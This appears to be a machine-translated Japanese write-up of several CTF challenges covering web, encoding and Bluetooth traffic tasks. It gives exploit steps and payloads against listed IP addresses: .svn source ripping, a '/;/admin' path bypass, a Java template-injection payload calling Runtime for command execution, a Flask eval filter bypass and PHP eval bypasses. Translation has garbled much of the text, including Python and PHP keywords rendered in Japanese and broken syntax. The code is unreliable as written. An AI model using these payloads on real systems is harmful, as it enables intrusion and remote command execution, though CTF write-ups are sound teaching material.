web
input_data
The Tool https://github.com/kost/dvcs-ripperを使用します
./rip-svn.pl -u 3http://101.200.58.4:10005/.svn
.svnディレクトリをダウンロードします
次に、構造を確認し、いくつかのファイルを見つけます
cdディレクトリを入力してから、catファイル名フラグ{5674938f-803d-4c41-8f84-a77f5164bb4f}を表示します
フラグ:旗{5674938F-803D-4C41-8F84-A77F5164BB4F}
admin
オーバーライド許可を通じて管理者への最初のアクセス、アクセスパスは次のとおりです
/;/admin
次に、BP辞書の列挙はパラメーターを渡すために使用され、パスはSTIをテストするために使用されます。テスト後、Javaビュー操作STIを使用する必要があることがわかりました。
次のようにペイロード
http://101.200.58.4:3333/;/admin?path=__ $%7bnew%20java.util.scanner(t(java.lang.runtime).getruntime()
成功したコマンド実行:
フラグ:flag {5d28c6ce-fede-498a-9053-6fe53f54f7d3}
フラスコ
質問のソースコードは次のとおりです
フラスコのインポートフラスコから、リクエスト、応答
Reをインポートします
app=flask(__name__)
@app.route( '/')
def index():
evalme=request.args.get( 'evalme')
if((evalmeではない)またはre.search(r '[a-zd-z \\。 /*$#@!+^]'、evalme)):
「ハッカー?」を返します
a=eval(evalme)
印刷(1)
f:として開いている(a、 'rb')
返信応答(f.read())
__name__=='__main __' :の場合
app.run(port=8081、debug=true)
文字は無効になっているため、ABCはフォーマットされた文字列を構築することもできますが、実際には、ABCがない場合でも、Unicode文字でバイパスすることもできます。
コマンドは次のとおりです。フォーマット文字列コンストラクトファイル名/フラグ
/?evalme=[a:=%22%c%c%c%c%c%c%c%c%22%(47,102,108,97,103)] [-1]
非常に多くのフラグ
次のレイヤーファイルf1aaj.phpはソースコードにあります
Cookie/flll4g.phpのタイトルの次のレイヤーでファイルを見つける
FLLLL4G.PHPアクセスソースコードは次のとおりです
?php
if(isset($ _ get ['x'])){
$ temp=$ _get ['x'];
is_numeric($ temp)? die( 'no numeric'): null;
if($ temp 9999){
echo 'pupil./br';
} それ以外{
die( 'no!no!no!');
}
}
それ以外{
die( 'xはどこですか?');
}
if(isset($ _ get ['y'])){
$ md5=$ _get ['y'];
if($ md5==md5($ md5)){
Echo 'ジュニアスクールの生徒//br';
} それ以外{
die( 'no!no!no!');
}
}
それ以外{
die( 'yはy?');
}
if(isset($ _ get ['z'])){
$ content=$ _get ['z'];
if(strlen($ content)=60){
die( '長い!');
}
$ blackList=[''、 '\' ''、 '' '、' `''、 '\ ['、 '\]、' \ {'、'} '、' \ t '、' \ r '、' \ n '];
foreach($ blacklist as $ blackitem){
if(preg_match( '/'。$ blackitem。 '/m'、$ content)){
die( 'no!no!no!');
}
}
$ security=['abs'、 'base_convert'、 'cos'、 'dex'、 'exp'、 'f1ag'、 'getrandmax'、 'hexdec'、 'is_nan'、 'log'、 'max'、 'octdec'、 'pi'、 'sin'、 'tan'];
preg_match_all( '/[a-za-z_ \ x7f- \ xff] [a-za-z_0-9 \ x7f- \ xff]*/'、$ content、$ used_funcs);
foreach($ used_funcs [0] as $ func){
if(!in_array($ func、$ security)){
die( 'no!no!no!');
}
}
eval( 'echo'。$ content。 ';');
if(isset($ f1ag)){
if($ f1ag=='flag'){
Echo '高校生/BR';
echo 'here_is_flag !';
}
}
それ以外{
echo 'no!no!no!';
}
}
それ以外{
die( 'zはどこですか?');
}
?
最初の方法
最初のステップは、is_numericをバイパスして配列を使用することです
ステップ2:MD5はインターネットをバイパスし、たくさん検索します
X []=10000Y=0E215962017Z=log($ f1ag=0)
3番目のステップは0でバイパスでき、ログ関数はx []=10000y=0E215962017z=log($ f1ag=0)になります。
または、cos関数x []=10000y=0E215962017z=cos($ f1ag=0)を使用します
その他:
情報セキュリティ競争の通知
開いた後、色を変更すると、旗が表示されます
複数のエンコーディング
添付ファイル:
エンコーディング 1:+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++ - ] ++++++。
2:([](! []+[])[!+[]+!+[]]+([] []]+[])[+!+[]]+(! []+[])[+[]]+(! []+[])[+!+[]+([![]]+[]) +(![]+[])[!+[]+!+[]+!+[]+]+]+[!+[]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+ ]+!+[]+!+!+ (! []+[])[!+[]+!+[]+!+[]+[]+[!+]+!+[]+!+[]+[]+[]+[]+[])[!+[]+!+[]+!+[]+([](! []+[])[!+[]+[]+[]+[]+ ([] [] []]+[])[+!+[]+(! []+[])[+!+[]]+([![]]]+(! []+[])[+!+[]]+([![! +[] [])[+!+[]+[]+[]+(![]+[]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]+[]+]+]+[]+]+[]+[]+[]+[]+[]+
コード3:OOK。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。
ook。 ook。 ook。 ook。 ook。 ook。ああ! ook?ああ!ああ! ook。 ook? ook。 ook。 ook。 ook。 ook。
ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。
ook。 ook? ook。 ook?ああ! ook。 ook? ook。 ook。 ook。 ook。 ook。 ook。 ook。ああ! ook。 ook? ook。
ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。ああ! ook?ああ!
ああ! ook。 ook?ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!
ook? ook。 ook?ああ! ook。 ook?ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!
ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!
ああ! ook。 ook? ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。
ook。ああ! ook?ああ!ああ! ook。 ook? ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。
ook。 ook。 ook。 ook。 ook。 ook? ook。 ook?ああ! ook。 ook? ook。 ook。 ook。 ook。 ook。 ook。 ook。
ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。
ook。 ook。 ook。 ook。 ook。ああ!ああ!ああ!ああ!ああ!ああ!ああ! ook。 ook? ook。 ook。
ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。ああ! ook?ああ!ああ!
ook。 ook?ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ! ook?
ook。 ook?ああ! ook。 ook?ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!
ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!
ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ! ook。 ook。 ook。 ook。
ああ! ook。ああ! ook。ああ!ああ!ああ! ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。
ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。ああ!ああ!ああ!ああ!ああ!ああ!
ああ! ook。 ook。 ook。 ook。ああ! ook。 ook? ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。
ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。ああ! ook?ああ!ああ! ook。 ook?
ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。
ook。 ook? ook。 ook?ああ! ook。 ook? ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。
ook。 ook。ああ! ook。 ook? ook。
最初の段落jsfuck復号化:flag {ab71cda1
2つのセグメントすべてデコード:B495E13B3F21
3番目の段落ook復号化:F6FD50221978}
フラグ{AB71CDA1B495E13B3F21F6FD50221978}
bluetooth
zipを見つけてKeキーを持っているグローバル検索フラグ
明らかな圧縮パッケージとflag.txtドキュメントが見つかりました
キーキーもあります
圧縮パッケージをエクスポートします
圧縮パッケージをエクスポートします
ここの誰かがこれらの2つのファイルをエクスポートする方法を知りません。簡単に話しましょう
最初のタイプ
トラフィックパッケージファイルを変更して、zipを減圧して分離して抽出するなどの圧縮パッケージ形式に変更します
2番目のタイプ
関連するコマンドでトラフィックパッケージファイルを直接分離します
3番目のタイプ
トラフィックパッケージを開き、キーワードを使用して元のデータを見つけます。 16進ファイルをコピーしてインポートします。圧縮パッケージを取得するには、テキストの開始と終了を変更する必要があります。
知らせ
ここの多くの人々は圧縮パッケージを入手し、ファイルが破損しており、開くことができないことを発見します。ここでは、減圧ソフトウェアを変更できます。
ciphertextとkey :を取得します
flag.txt:
10004583275926070044326083910251708233320797793557792087030978163051881401914132269450797
キー:52162946952118202938062470298887026154798297270637676463374801674742298813146203404040756931515222
これが暗号文とキーです
十進数六量体スクリプト
def hex(number):
hex_str=hex(number)[2:]
Len(hex_str)==1:の場合
hex_str='0' + hex_str
hex_strを返します
__name__=='__main __' :の場合
number=int(input( 'input3360'))
hex_representation=hex(number)
print(f '{number}' 16進表現は: {hex_representation} ')です。
秘密のテキスト
4E94DCDB6DE87E65D263419EC45AEC93E8A2E1D386B31FB804E0F02366DF44DBE86A8A8A7C462D
鍵
28F8BDBC16DE4850E05579ACF33C8AA08AC3D9E6E3822B8C3081C04700EB25B88A08EB457550
xor
を実行します#暗号化された暗号文と16進文字列を定義します
txt='4e94dcdb6de87e65d263419ec45aec93e8a2e1d386b31fb804e0f02366df444dbe86a8a8a7c462d'
Key='28F8BDBC16DE4850E05579ACF33C8AA08AC3D9E6E3822B8C3081C04700EB25B88A08EB457550' '
#ヘキサデシマル文字列をバイトオブジェクトに変換します
ciphertext_bytes=bytes.fromhex(txt)
key_bytes=bytes.fromhex(key)
#decryptionにbyte-byte xorを使用します
#注:ここでは、キーと暗号文は同じ長さであると想定されています。そうしないと、zipはより短い長さに切り捨てられます
decrypted_bytes=bytes([c ^ k for c、k in zip(ciphertext_bytes、key_bytes))))
#復号化されたバイトオブジェクトを文字列にデコードして、デコードできないバイトを無視してみてください
#ここでは、復号化されたバイトのほとんどを有効なUTF-8文字にデコードできると想定されています
print(decrypted_bytes.decode(errors='ig
Recommended Comments